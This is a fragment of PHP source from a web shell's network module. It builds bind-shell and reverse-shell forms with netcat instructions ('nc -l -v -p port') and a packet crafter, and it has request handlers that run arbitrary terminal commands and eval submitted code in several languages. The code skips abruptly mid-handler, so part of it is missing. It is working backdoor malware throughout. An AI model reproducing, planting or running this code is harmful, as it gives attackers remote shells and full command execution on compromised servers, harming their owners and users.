$GLOBALS['module']['network']['js_ontabselected'] = ""; $GLOBALS['module']['network']['content'] = "\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:120px'>Server IP</td><td><input type='text' id='bindAddr' value='" . $server_addr . "' disabled></td></tr>\n\t<tr><td>Port</td><td><input type='text' id='bindPort' value='" . $default_port . "' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr>\n\t\t<td style='width:120px;'>\n\t\t\t<select id='bindLang' class='rsType'>\n\t\t\t\t" . $winbinary . "\n\t\t\t</select>\n\t\t</td>\n\t\t<td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>\n\t</tr>\n\t<tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:120px'>Target IP</td><td><input type='text' id='backAddr' value='" . $remote_addr . "' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>\n\t<tr><td>Port</td><td><input type='text' id='backPort' value='" . $default_port . "' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr>\n\t\t<td style='width:120px;'>\n\t\t\t<select id='backLang' class='rsType'>\n\t\t\t\t" . $winbinary . "\n\t\t\t</select>\n\t\t</td>\n\t\t<td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>\n\t</tr>\n\t<tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://" . $server_addr . "' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>\n\t<tr>\n\t\t<td>\n\t\t\t<span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>\n\t\t</td>\n\t\t<td>You can also press ctrl+enter to submit</td>\n\t</tr>\n\t<tr><td colspan='2'><div id='packetResult'></div></td></tr>\n</tfoot>\n</table>\n"; if (isset($p['rsLang']) && isset($p['rsArgs'])) { $rsLang = $p['rsLang']; $rsArgs = $p['rsArgs']; $res = ""; if ($rsLang == "php") { $code = get_resource("rs_" . $rsLang); if ($code !== false) { $code = "\$target = \"" . $rsArgs . "\"; ?>" . $code; $res = eval_go($rsLang, $code, "", ""); } } else { $code = get_resource("rs_" . $rsLang); if ($code !== false) { $res = eval_go($rsLang, $code, "", $rsArgs); } } if ($res === false) { $res == "error"; } output(html_safe($res)); } elseif (isset($p['packetTimeout']) && isset($p['packetSTimeout']) && isset($p['packetPort']) && isset($p['packetTimeout']) && isset($p['packetContent'])) { $packetHost = trim($p['packetHost']); if (!preg_match("/[a-z0-9]+:\\/\\/.*/", $packetHost)) { $packetHost = "tcp://" . $packetHost; } $packetPort = (int) $p['packetPort']; $packetTimeout = (int) $p['packetTimeout']; $packetSTimeout = (int) $p['packetSTimeout']; $packetContent = $p['packetContent'];
output($counter); } output('error'); } elseif (isset($p['viewFileorFolder'])) { $entry = $p['viewFileorFolder']; if (is_file($entry)) { output('file'); } elseif (is_dir($entry)) { output('folder'); } output('error'); } elseif (isset($p['terminalInput'])) { output(html_safe(execute($p['terminalInput']))); } elseif (isset($p['evalInput']) && isset($p['evalType'])) { $evalInput = $p['evalInput']; $evalOptions = isset($p['evalOptions']) ? $p['evalOptions'] : ""; $evalArguments = isset($p['evalArguments']) ? $p['evalArguments'] : ""; $evalType = $p['evalType']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set('html_errors', '0'); @ini_set('display_errors', '1'); @ini_set('display_startup_errors', '1'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if ($res === false) { $res == "error"; } output(html_safe($res)); } elseif (isset($p['evalGetSupported'])) { $res = eval_get_supported(); output($res); }